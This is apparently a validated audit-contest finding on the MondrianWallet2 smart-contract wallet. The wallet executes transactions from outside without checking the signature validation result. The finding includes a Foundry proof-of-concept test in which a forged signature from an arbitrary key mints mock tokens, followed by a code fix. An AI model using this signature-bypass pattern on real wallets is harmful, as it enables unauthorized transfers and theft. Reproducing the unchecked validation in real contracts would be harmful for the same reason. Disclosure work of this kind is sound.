Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone Can Execute Transactions Using `executeTransactionFromOutside` Because the `_validateTransaction` Doesn't Revert with Invalid Signatures

Description:
The _validateTransaction function within the smart contract does not properly handle invalid signatures, allowing any transaction with a seemingly valid signature to be executed. This oversight enables anyone to submit a transaction with a random signature, which the contract will execute without verifying the authenticity of the signature.

Impact:
This vulnerability allows anyone to execute commands on the affected wallet, potentially leading to unauthorized asset transfers, ownership changes, or other malicious actions. The severity of the impact depends on the permissions granted by the wallet and the potential for exploitation.

Proof of Concept:
The provided proof of concept demonstrates how an attacker can forge a signature and execute a transaction through the executeTransactionFromOutside function. The test case creates a fake signature for a transaction and executes it, successfully minting new tokens to the attacker's address.

function _fakesignTransaction(
Transaction memory transaction
) internal view returns (Transaction memory) {
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
// bytes32 digest = unsignedTransactionHash.toEthSignedMessageHash();
uint8 v;
bytes32 r;
bytes32 s;
uint256 ANVIL_DEFAULT_KEY = 0x123;
(v, r, s) = vm.sign(ANVIL_DEFAULT_KEY, unsignedTransactionHash);
Transaction memory signedTransaction = transaction;
signedTransaction.signature = abi.encodePacked(r, s, v);
return signedTransaction;
}
function testZkAnyoneCanExecuteTransactions() public onlyZkSync {
address dest = address(usdc);
uint256 value = 0;
bytes memory functionData = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
AMOUNT
);
Transaction memory transaction = _createUnsignedTransaction(
mondrianWallet.owner(),
113,
dest,
value,
functionData
);
transaction = _fakesignTransaction(transaction);
vm.prank(address(123));
mondrianWallet.executeTransactionFromOutside(transaction);
assertEq(usdc.balanceOf(address(mondrianWallet)), AMOUNT);
}

Recommended Mitigation:
To address the vulnerability where anyone can execute transactions using executeTransactionFromOutside due to the _validateTransaction function not reverting with invalid signatures, implement a check in both executeTransactionFromOutside and executeTransaction functions to ensure the magic number matches ACCOUNT_VALIDATION_SUCCESS_MAGIC. This check will prevent the execution of transactions with invalid signatures. Below is the fixed version of executeTransactionFromOutside:

function executeTransactionFromOutside(
Transaction memory _transaction
) external payable {
- _validateTransaction(_transaction);
- _executeTransaction(_transaction);
+ bytes4 magic = _validateTransaction(_transaction);
+ if (magic == ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+ _executeTransaction(_transaction);
+ } else {
+ revert MondrianWallet2__InvalidSignature();
+ }
}

This modification ensures that the contract only processes transactions with valid signatures, significantly reducing the risk of unauthorized transactions being executed. It's crucial to apply similar validation in other functions that accept and execute transactions to maintain the integrity and security of the contract.

Updates

Lead Judging Commences

bube Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing validation in executeTransactionFromOutside

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.